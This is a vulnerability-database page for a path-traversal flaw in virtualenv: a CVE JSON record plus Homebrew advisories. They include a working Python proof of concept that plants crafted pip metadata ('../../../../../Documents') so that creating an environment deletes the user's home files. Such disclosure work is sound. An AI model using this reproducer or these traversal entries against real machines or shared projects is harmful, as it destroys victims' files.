Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-113719 (GCVE-0-2026-113719)
Vulnerability from cvelistv5 – Published: 2026-10-20 19:42 – Updated: 2026-10-27 11:01
VLAI
EPSS
VEX
Title
virtualenv: Seed replacement does not contain metadata deletion paths
Summary
virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user's permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9.
Severity
4.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-27 11:01 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/pypa/virtualenv/security/advis… | x_refsource_CONFIRM |
| https://github.com/pypa/virtualenv/pull/3428 | x_refsource_MISC |
| https://github.com/pypa/virtualenv/commit/e3cea6f… | x_refsource_MISC |
| https://github.com/pypa/virtualenv/releases/tag/21.14.9 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| pypa | virtualenv |
Affected:
< 21.14.9
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-113719",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T11:01:18.774578Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-27T11:01:51.649Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user\u0027s permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T19:42:07.523Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"name": "https://github.com/pypa/virtualenv/pull/3428",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"name": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"source": {
"advisory": "GHSA-hhxq-47xx-j5xx",
"discovery": "UNKNOWN"
},
"title": "virtualenv: Seed replacement does not contain metadata deletion paths"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-113719",
"datePublished": "2026-10-20T19:42:07.523Z",
"dateReserved": "2026-10-20T16:03:14.863Z",
"dateUpdated": "2026-10-27T11:01:51.649Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-113719",
"date": "2026-10-27",
"epss": "0.00144",
"percentile": "0.03642"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user\u0027s permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9."
}
],
"id": "CVE-2026-113719",
"lastModified": "2026-10-27T11:17:28.280",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.0,
"impactScore": 3.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-113719",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T11:01:18.774578Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-20T20:17:18.347",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-10-20T20:22:13+00:00",
"cve": "CVE-2026-113719",
"id": "CVE-2026-113719",
"initial_release_date": "2026-10-20T19:42:07.523000+00:00",
"product_status:known_affected": "26",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "virtualenv: virtualenv: Arbitrary file deletion via path traversal in package metadata",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-113719.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "low",
"current_release_date": "2026-10-23T16:28:06Z",
"cve": "CVE-2026-113719",
"id": "CVE-2026-113719",
"initial_release_date": "2026-10-23T16:28:06Z",
"product_status:known_affected": "62",
"product_status:known_not_affected": "24",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-113719",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/2026/cve-2026-113719.json",
"version": "2"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-113719",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T11:01:18.774578Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-27T11:01:46.813Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user\u0027s permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-20T19:42:07.523Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"name": "https://github.com/pypa/virtualenv/pull/3428",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"name": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"source": {
"advisory": "GHSA-hhxq-47xx-j5xx",
"discovery": "UNKNOWN"
},
"title": "virtualenv: Seed replacement does not contain metadata deletion paths"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-113719",
"datePublished": "2026-10-20T19:42:07.523Z",
"dateReserved": "2026-10-20T16:03:14.863Z",
"dateUpdated": "2026-10-27T11:01:51.649Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-CHARM-TOOLS-CVE-202… (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 08:58 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@20.39.1",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "charm-tools",
"purl": "pkg:brew/charm-tools"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.3_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@20.39.1",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "20.39.1"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-charm-tools-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T08:58:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-HATCH-CVE-2026-113719 (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-27 19:28 – Updated: 2026-10-27 19:28 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
